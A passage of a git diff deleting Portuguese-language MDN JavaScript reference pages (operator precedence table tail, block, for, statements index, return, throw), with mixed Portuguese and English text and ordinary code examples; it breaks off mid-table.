- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">Strict Inequality</a></td>
- <td><code>… !== …</code></td>
- </tr>
- <tr>
- <td>9</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">Bitwise AND</a></td>
- <td>left-to-right</td>
- <td><code>… &amp; …</code></td>
- </tr>
- <tr>
- <td>8</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">Bitwise XOR</a></td>
- <td>left-to-right</td>
- <td><code>… ^ …</code></td>
- </tr>
- <tr>
- <td>7</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">Bitwise OR</a></td>
- <td>left-to-right</td>
- <td><code>… | …</code></td>
- </tr>
- <tr>
- <td>6</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">Logical AND</a></td>
- <td>left-to-right</td>
- <td><code>… &amp;&amp; …</code></td>
- </tr>
- <tr>
- <td>5</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">Logical OR</a></td>
- <td>left-to-right</td>
- <td><code>… || …</code></td>
- </tr>
- <tr>
- <td>4</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Conditional</a></td>
- <td>right-to-left</td>
- <td><code>… ? … : …</code></td>
- </tr>
- <tr>
- <td rowspan="13">3</td>
- <td rowspan="13"><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment</a></td>
- <td rowspan="13">right-to-left</td>
- <td><code>… = …</code></td>
- </tr>
- <tr>
- <td><code>… += …</code></td>
- </tr>
- <tr>
- <td><code>… -= …</code></td>
- </tr>
- <tr>
- <td><code>… **= …</code></td>
- </tr>
- <tr>
- <td><code>… *= …</code></td>
- </tr>
- <tr>
- <td><code>… /= …</code></td>
- </tr>
- <tr>
- <td><code>… %= …</code></td>
- </tr>
- <tr>
- <td><code>… &lt;&lt;= …</code></td>
- </tr>
- <tr>
- <td><code>… &gt;&gt;= …</code></td>
- </tr>
- <tr>
- <td><code>… &gt;&gt;&gt;= …</code></td>
- </tr>
- <tr>
- <td><code>… &amp;= …</code></td>
- </tr>
- <tr>
- <td><code>… ^= …</code></td>
- </tr>
- <tr>
- <td><code>… |= …</code></td>
- </tr>
- <tr>
- <td rowspan="2">2</td>
- <td>{{jsxref("Operators/yield", "yield")}}</td>
- <td colspan="1" rowspan="2">right-to-left</td>
- <td><code>yield …</code></td>
- </tr>
- <tr>
- <td>{{jsxref("Operators/yield*", "yield*")}}</td>
- <td><code>yield* …</code></td>
- </tr>
- <tr>
- <td>1</td>
- <td><a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores/Operador_virgula">Vírgula / Sequência</a></td>
- <td>left-to-right</td>
- <td><code>… , …</code></td>
- </tr>
- </tbody>
-</table>
diff --git a/files/pt-pt/web/javascript/reference/statements/block/index.html b/files/pt-pt/web/javascript/reference/statements/block/index.html
deleted file mode 100644
index 4a6507702f..0000000000
--- a/files/pt-pt/web/javascript/reference/statements/block/index.html
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: Bloco (block)
-slug: Web/JavaScript/Reference/Statements/block
-tags:
- - Declaração
- - Funcionalidade de Linguagem
- - JavaScript
- - Referencia
-translation_of: Web/JavaScript/Reference/Statements/block
-original_slug: Web/JavaScript/Reference/Extratos_e_declarações/bloco
----
-<div>Bloco {{jsSidebar("Statements")}}</div>
-
-<p>Uma <strong>declaralção bloco </strong>(ou <strong>declaração composto</strong> em outras linguagens) é utilizada para agrupar zero ou mais declarações. O bloco é delimitado por um par de chavetas (“chavetas { }”) e opcionalmente poderá ser {{jsxref("Statements/label", "labelled", "", 1)}}:</p>
-
-<div>{{EmbedInteractiveExample("pages/js/statement-block.html", "taller")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<h3 id="Declaração_de_Bloco">Declaração de Bloco</h3>
-
-<pre class="syntaxbox">{
- <em>StatementList</em>
-}
-</pre>
-
-<h3 id="Declaração_de_Bloco_Etiquetado">Declaração de Bloco Etiquetado</h3>
-
-<pre class="syntaxbox"><em>LabelIdentifier</em>: {
- <em>StatementList</em>
-}
-</pre>
-
-<dl>
- <dt><code>StatementList</code></dt>
- <dd>Statements grouped within the block statement.</dd>
- <dt><code>LabelIdentifier</code></dt>
- <dd>An optional {{jsxref("Statements/label", "label", "", 1)}} for visual identification or as a target for {{jsxref("Statements/break", "break")}}.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>The block statement is often called <strong>compound statement</strong> in other languages. It allows you to use multiple statements where JavaScript expects only one statement. Combining statements into blocks is a common practice in JavaScript. The opposite behavior is possible using an <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Empty">empty statement</a>, where you provide no statement, although one is required.</p>
-
-<p>Blocks are commonly used in association with {{jsxref("Statements/if...else", "if...else")}} and {{jsxref("Statements/for", "for")}} statements.</p>
-
-<h3 id="Block_Scoping_Rules">Block Scoping Rules</h3>
-
-<h4 id="With_var_or_function_declaration_in_non-strict_mode">With <code>var</code> or function declaration in non-strict mode</h4>
-
-<p>Variables declared with <code>var</code> or created by <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function declarations</a> in non-strict mode <strong>do not</strong> have block scope. Variables introduced within a block are scoped to the containing function or script, and the effects of setting them persist beyond the block itself. In other words, block statements do not introduce a scope. For example:</p>
-
-<pre class="brush: js example-bad">var x = 1;
-{
- var x = 2;
-}
-console.log(x); // logs 2
-</pre>
-
-<p>This logs 2 because the <code>var x</code> statement within the block is in the same scope as the <code>var x</code> statement before the block.</p>
-
-<p>In non-strict code, function declarations inside blocks behave strangely. Do not use them.</p>
-
-<h4 id="With_let_const_or_function_declaration_in_strict_mode">With <code>let</code>, <code>const</code> or function declaration in strict mode</h4>
-
-<p>By contrast, identifiers declared with {{jsxref("Statements/let", "let")}} and {{jsxref("Statements/const", "const")}} <strong>do have </strong>block scope:</p>
-
-<pre class="brush: js">let x = 1;
-{
- let x = 2;
-}
-console.log(x); // logs 1</pre>
-
-<p>The <code>x = 2</code> is limited in scope to the block in which it was defined.</p>
-
-<p>The same is true of <code>const</code>:</p>
-
-<pre class="brush: js">const c = 1;
-{
- const c = 2;
-}
-console.log(c); // logs 1 and does not throw SyntaxError...</pre>
-
-<p>Note that the block-scoped <code>const c = 2</code> <em>does not</em> throw a <code>SyntaxError: Identifier 'c' has already been declared</code> because it can be declared uniquely within the block.</p>
-
-<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.statements.block")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{jsxref("Statements/while", "while")}}</li>
- <li>{{jsxref("Statements/if...else", "if...else")}}</li>
- <li>{{jsxref("Statements/let", "let")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/statements/for/index.html b/files/pt-pt/web/javascript/reference/statements/for/index.html
deleted file mode 100644
index 687cd23cdc..0000000000
--- a/files/pt-pt/web/javascript/reference/statements/for/index.html
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: for
-slug: Web/JavaScript/Reference/Statements/for
-tags:
- - Declaração
- - Funcionalidade de Linguagem
- - JavaScript
- - Loop
- - Referencia
- - Repetição
- - for
-translation_of: Web/JavaScript/Reference/Statements/for
-original_slug: Web/JavaScript/Reference/Extratos_e_declarações/for
----
-<div>{{jsSidebar("Statements")}}</div>
-
-<p>A <strong>declaração "for"</strong> cria uma repetição (<em>loop</em>) que consiste de três expressões opcionais, entre parênteses e separados por ponto e vírgula, seguido de uma declaração (normalmente <a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/bloco">bdeclaraçãod e bloco (<em>block</em>)</a>) para ser executada na repetição.</p>
-
-<div>{{EmbedInteractiveExample("pages/js/statement-for.html")}}</div>
-
-
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">for ([<em>initialization</em>]; [<em>condition</em>]; [<em>final-expression</em>])
- <em>statement</em></pre>
-
-<dl>
- <dt><code>initialization</code></dt>
- <dd>An expression (including assignment expressions) or variable declaration evaluated once before the loop begins. Typically used to initialize a counter variable. This expression may optionally declare new variables with <code>var</code> or <code>let</code> keywords. Variables declared with <code>var</code> are not local to the loop, i.e. they are in the same scope the <code>for</code> loop is in. Variables declared with let are local to the statement.</dd>
- <dd>The result of this expression is discarded.</dd>
- <dt><code>condition</code></dt>
- <dd>An expression to be evaluated before each loop iteration. If this expression evaluates to true, <code>statement</code> is executed. This conditional test is optional. If omitted, the condition always evaluates to true. If the expression evaluates to false, execution skips to the first expression following the <code>for</code> construct.</dd>
- <dt><code>final-expression</code></dt>
- <dd>An expression to be evaluated at the end of each loop iteration. This occurs before the next evaluation of <code>condition</code>. Generally used to update or increment the counter variable.</dd>
- <dt><code>statement</code></dt>
- <dd>A statement that is executed as long as the condition evaluates to true. To execute multiple statements within the loop, use a {{jsxref("Statements/block", "block", "", 0)}} statement (<code>{ ... }</code>) to group those statements. To execute no statement within the loop, use an {{jsxref("Statements/empty", "empty", "", 0)}} statement (<code>;</code>).</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Using_for">Using <code>for</code></h3>
-
-<p>The following <code>for</code> statement starts by declaring the variable <code>i</code> and initializing it to <code>0</code>. It checks that <code>i</code> is less than nine, performs the two succeeding statements, and increments <code>i</code> by 1 after each pass through the loop.</p>
-
-<pre class="brush: js">for (let i = 0; i &lt; 9; i++) {
- console.log(i);
- // more statements
-}
-</pre>
-
-<h3 id="Optional_for_expressions">Optional <code>for</code> expressions</h3>
-
-<p>All three expressions in the head of the <code>for</code> loop are optional.</p>
-
-<p>For example, in the <em>initialization</em> block it is not required to initialize variables:</p>
-
-<pre class="brush: js">var i = 0;
-for (; i &lt; 9; i++) {
- console.log(i);
- // more statements
-}
-</pre>
-
-<p>Like the <em>initialization</em> block, the <em>condition</em> block is also optional. If you are omitting this expression, you must make sure to break the loop in the body in order to not create an infinite loop.</p>
-
-<pre class="brush: js">for (let i = 0;; i++) {
- console.log(i);
- if (i &gt; 3) break;
- // more statements
-}</pre>
-
-<p>You can also omit all three blocks. Again, make sure to use a {{jsxref("Statements/break", "break")}} statement to end the loop and also modify (increase) a variable, so that the condition for the break statement is true at some point.</p>
-
-<pre class="brush: js">var i = 0;
-
-for (;;) {
- if (i &gt; 3) break;
- console.log(i);
- i++;
-}
-</pre>
-
-<h3 id="Using_for_without_a_statement">Using <code>for</code> without a statement</h3>
-
-<p>The following <code>for</code> cycle calculates the offset position of a node in the <em>final-expression</em> section, and therefore it does not require the use of a <code>statement</code> section, a semicolon is used instead.</p>
-
-<pre class="brush: js">function showOffsetPos(sId) {
-
- var nLeft = 0, nTop = 0;
-
- for (
-
- var oItNode = document.getElementById(sId); /* initialization */
-
- oItNode; /* condition */
-
- nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent /* final-expression */
-
- ); /* semicolon */
-
- console.log('Offset position of \'' + sId + '\' element:\n left: ' + nLeft + 'px;\n top: ' + nTop + 'px;');
-
-}
-
-/* Example call: */
-
-showOffsetPos('content');
-
-// Output:
-// "Offset position of "content" element:
-// left: 0px;
-// top: 153px;"</pre>
-
-<div class="note"><strong>Note:</strong> This is one of the few cases in JavaScript where <strong>the semicolon is mandatory</strong>. Indeed, without the semicolon the line that follows the cycle declaration will be considered a statement.</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.statements.for")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{jsxref("Statements/empty", "empty statement", "", 0)}}</li>
- <li>{{jsxref("Statements/break", "break")}}</li>
- <li>{{jsxref("Statements/continue", "continue")}}</li>
- <li>{{jsxref("Statements/while", "while")}}</li>
- <li>{{jsxref("Statements/do...while", "do...while")}}</li>
- <li>{{jsxref("Statements/for...in", "for...in")}}</li>
- <li>{{jsxref("Statements/for...of", "for...of")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/statements/index.html b/files/pt-pt/web/javascript/reference/statements/index.html
deleted file mode 100644
index 723804e53a..0000000000
--- a/files/pt-pt/web/javascript/reference/statements/index.html
+++ /dev/null
@@ -1,151 +0,0 @@
----
-title: Declarações e instruções
-slug: Web/JavaScript/Reference/Statements
-tags:
- - JavaScript
- - Referencia
- - declarações
- - instruções
-translation_of: Web/JavaScript/Reference/Statements
-original_slug: Web/JavaScript/Reference/Extratos_e_declarações
----
-<div>{{jsSidebar("Statements")}}</div>
-
-<p>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</p>
-
-<h2 id="Declarações_e_instruções_por_categoria">Declarações e instruções por categoria</h2>
-
-<p>For an alphabetical listing see the sidebar on the left.</p>
-
-<h3 id="Controlo_de_Fluxo">Controlo de Fluxo</h3>
-
-<dl>
- <dt>{{jsxref("Statements/block", "Block")}}</dt>
- <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd>
- <dt>{{jsxref("Statements/break", "break")}}</dt>
- <dd>Terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement.</dd>
- <dt>{{jsxref("Statements/continue", "continue")}}</dt>
- <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd>
- <dt>{{jsxref("Statements/Empty", "Empty")}}</dt>
- <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd>
- <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
- <dd>Executes a statement if a specified condition is true. If the condition is false, another statement can be executed.</dd>
- <dt>{{jsxref("Statements/switch", "switch")}}</dt>
- <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd>
- <dt>{{jsxref("Statements/throw", "throw")}}</dt>
- <dd>Throws a user-defined exception.</dd>
- <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
- <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd>
-</dl>
-
-<h3 id="Declarações">Declarações</h3>
-
-<dl>
- <dt>{{jsxref("Statements/var", "var")}}</dt>
- <dd>Declares a variable, optionally initializing it to a value.</dd>
- <dt>{{jsxref("Statements/let", "let")}}</dt>
- <dd>Declares a block scope local variable, optionally initializing it to a value.</dd>
- <dt>{{jsxref("Statements/const", "const")}}</dt>
- <dd>Declares a read-only named constant.</dd>
-</dl>
-
-<h3 id="Funções_e_classes">Funções e classes</h3>
-
-<dl>
- <dt>{{jsxref("Statements/function", "function")}}</dt>
- <dd>Declara as funções com parâmetros especificados.</dd>
- <dt>{{jsxref("Statements/function*", "function*")}}</dt>
- <dd>Generators functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd>
- <dt>{{jsxref("Statements/async_function", "async function")}}</dt>
- <dd>Declares an async function with the specified parameters.</dd>
- <dt>{{jsxref("Statements/return", "return")}}</dt>
- <dd>Specifies the value to be returned by a function.</dd>
- <dt>{{jsxref("Statements/class", "class")}}</dt>
- <dd>Declara uma Classe.</dd>
-</dl>
-
-<h3 id="Iterações">Iterações</h3>
-
-<dl>
- <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
- <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd>
- <dt>{{jsxref("Statements/for", "for")}}</dt>
- <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd>
- <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt>
- <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd>
- <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
- <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd>
- <dt>{{jsxref("Statements/for...of", "for...of")}}</dt>
- <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd>
- <dt>{{jsxref("Statements/while", "while")}}</dt>
- <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd>
-</dl>
-
-<h3 id="Outros">Outros</h3>
-
-<dl>
- <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
- <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd>
- <dt>{{jsxref("Statements/export", "export")}}</dt>
- <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd>
- <dt>{{jsxref("Statements/import", "import")}}</dt>
- <dd>Used to import functions exported from an external module, another script.</dd>
- <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import.meta">import.meta</a></code></dt>
- <dd>A meta-property exposing context-specific metadata to a JavaScript module.</dd>
- <dt>{{jsxref("Statements/label", "label")}}</dt>
- <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd>
-</dl>
-
-<dl>
- <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt>
- <dd>Extends the scope chain for a statement.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>New: function*, let, for...of, yield, class</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.statements")}}</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores">Operadores</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/statements/return/index.html b/files/pt-pt/web/javascript/reference/statements/return/index.html
deleted file mode 100644
index 54d99d85c3..0000000000
--- a/files/pt-pt/web/javascript/reference/statements/return/index.html
+++ /dev/null
@@ -1,149 +0,0 @@
----
-title: return
-slug: Web/JavaScript/Reference/Statements/return
-tags:
- - Declaração
- - JavaScript
-translation_of: Web/JavaScript/Reference/Statements/return
-original_slug: Web/JavaScript/Reference/Extratos_e_declarações/return
----
-<div>{{jsSidebar("Statements")}}</div>
-
-<p>The <strong><code>return</code> statement</strong> ends function execution and specifies a value to be returned to the function caller.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">return [[expression]]; </pre>
-
-<dl>
- <dt><code>expression</code></dt>
- <dd>The expression whose value is to be returned. If omitted, <code>undefined</code> is returned instead.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>When a <code>return</code> statement is used in a function body, the execution of the function is stopped. If specified, a given value is returned to the function caller. For example, the following function returns the square of its argument, <code>x</code>, where <code>x</code> is a number.</p>
-
-<pre class="brush: js">function square(x) {
- return x * x;
-}
-var demo = square(3);
-// demo will equal 9
-</pre>
-
-<p>If the value is omitted, <code>undefined</code> is returned instead.</p>
-
-<p>The following return statements all break the function execution:</p>
-
-<pre class="brush: js">return;
-return true;
-return false;
-return x;
-return x + y / 3;
-</pre>
-
-<h3 id="Inserção_Automática_de_Ponto_e_Vírgula">Inserção Automática de Ponto e Vírgula</h3>
-
-<p>The <code>return</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a>. No line terminator is allowed between the <code>return</code> keyword and the expression.</p>
-
-<pre class="brush: js">return
-a + b;
-</pre>
-
-<p>is transformed by ASI into:</p>
-
-<pre>return;
-a + b;
-</pre>
-
-<p>The console will warn "unreachable code after return statement".</p>
-
-<div class="note">Starting with Gecko 40 {{geckoRelease(40)}}, a warning is shown in the console if unreachable code is found after a return statement.</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Interromper_uma_função">Interromper uma função</h3>
-
-<p>A function immediately stops at the point where <code>return</code> is called.</p>
-
-<pre class="brush: js">function counter() {
- for (var count = 1; ; count++) { // infinite loop
- console.log(count + 'A'); // until 5
- if (count === 5) {
- return;
- }
- console.log(count + 'B'); // until 4
- }
- console.log(count + 'C'); // never appears
-}
-
-counter();
-
-// Output:
-// 1A
-// 1B
-// 2A
-// 2B
-// 3A
-// 3B
-// 4A
-// 4B
-// 5A
-</pre>
-
-<h3 id="Devolver_uma_função">Devolver uma função</h3>
-
-<p>See also the article about <a href="/en-US/docs/Web/JavaScript/Closures">Closures</a>.</p>
-
-<pre class="brush: js">function magic(x) {
- return function calc(x) { return x * 42; };
-}
-
-var answer = magic();
-answer(1337); // 56154
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.statements.return")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope" title="En/Core_JavaScript_1.5_Reference/Functions">Functions</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Closures">Closures</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/statements/throw/index.html b/files/pt-pt/web/javascript/reference/statements/throw/index.html
deleted file mode 100644
index 59a0e32938..0000000000
--- a/files/pt-pt/web/javascript/reference/statements/throw/index.html
+++ /dev/null
@@ -1,272 +0,0 @@
----
-title: throw
-slug: Web/JavaScript/Reference/Statements/throw
-tags:
- - Comando
- - Declaração
- - JavaScript
-translation_of: Web/JavaScript/Reference/Statements/throw
-original_slug: Web/JavaScript/Reference/Extratos_e_declarações/throw
----
-<div>{{jsSidebar("Statements")}}</div>
-
-<p>A <strong>declaração <code>throw</code> </strong>lança uma exeção definida pelo utilizador. A execução da função atual irá parar (os comandos depois de <code>throw</code> não serão executados), <span id="result_box" lang="pt"><span>e o controle será passado para o primeiro bloco <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">catch</a></code> no conjunto de chamadas. Se não existir nenhum bloco <code>catch</code> entre as funções de <em>caller</em>, o programa irá terminar.</span></span></p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox">expressão throw; </pre>
-
-<dl>
- <dt><code>expressão</code></dt>
- <dd>A expressão para <em>throw</em>.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Use the <code>throw</code> statement to throw an exception. When you throw an exception, <code>expression</code> specifies the value of the exception. Each of the following throws an exception:</p>
-
-<pre class="brush: js">throw 'Error2'; // generates an exception with a string value
-throw 42; // generates an exception with the value 42
-throw true; // generates an exception with the value true</pre>
-
-<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Throw_um_objeto">Throw um objeto</h3>
-
-<p>You can specify an object when you throw an exception. You can then reference the object's properties in the <code>catch</code> block. The following example creates an object of type <code>UserException</code> and uses it in a <code>throw</code> statement.</p>
-
-<pre class="brush: js">function UserException(message) {
- this.message = message;
- this.name = 'UserException';
-}
-function getMonthName(mo) {
- mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
- var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
- 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
- if (months[mo] !== undefined) {
- return months[mo];
- } else {
- throw new UserException('InvalidMonthNo');
- }
-}
-
-try {
- // statements to try
- var myMonth = 15; // 15 is out of bound to raise the exception
- var monthName = getMonthName(myMonth);
-} catch (e) {
- monthName = 'unknown';
- console.log(e.message, e.name); // pass exception object to err handler
-}
-</pre>
-
-<h3 id="Outro_exemplo_de_throwing_um_objeto">Outro exemplo de <em>throwing</em> um objeto</h3>
-
-<p>The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type <code>ZipCodeFormatException</code>.</p>
-
-<pre class="brush: js">/*
- * Creates a ZipCode object.
- *
- * Accepted formats for a zip code are:
- * 12345
- * 12345-6789
- * 123456789
- * 12345 6789
- *
- * If the argument passed to the ZipCode constructor does not
- * conform to one of these patterns, an exception is thrown.
- */
-
-function ZipCode(zip) {
- zip = new String(zip);
- pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
- if (pattern.test(zip)) {
- // zip code value will be the first match in the string
- this.value = zip.match(pattern)[0];
- this.valueOf = function() {
- return this.value
- };
- this.toString = function() {
- return String(this.value)
- };
- } else {
- throw new ZipCodeFormatException(zip);
- }
-}
-
-function ZipCodeFormatException(value) {
- this.value = value;
- this.message = 'does not conform to the expected format for a zip code';
- this.toString = function() {
- return this.value + this.message;
- };
-}
-
-/*
- * This could be in a script that validates address data
- * for US addresses.
- */
-
-const ZIPCODE_INVALID = -1;
-const ZIPCODE_UNKNOWN_ERROR = -2;
-
-function verifyZipCode(z) {
- try {
- z = new ZipCode(z);
- } catch (e) {
- if (e instanceof ZipCodeFormatException) {
- return ZIPCODE_INVALID;
- } else {
- return ZIPCODE_UNKNOWN_ERROR;
- }
- }
- return z;
-}
-
-a = verifyZipCode(95060); // returns 95060
-b = verifyZipCode(9560); // returns -1
-c = verifyZipCode('a'); // returns -1
-d = verifyZipCode('95060'); // returns 95060
-e = verifyZipCode('95060 1234'); // returns 95060 1234
-</pre>
-
-<h3 id="Rethrow_uma_exceção"><em>Rethrow</em> uma exceção</h3>
-
-<p>You can use <code>throw</code> to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.</p>
-
-<pre class="brush: js">try {
- throw n; // throws an exception with a numeric value
-} catch (e) {
- if (e &lt;= 50) {
- // statements to handle exceptions 1-50
- } else {
- // cannot handle this exception, so rethrow
- throw e;
- }
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES3')}}</td>
- <td>{{Spec2('ES3')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.4</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
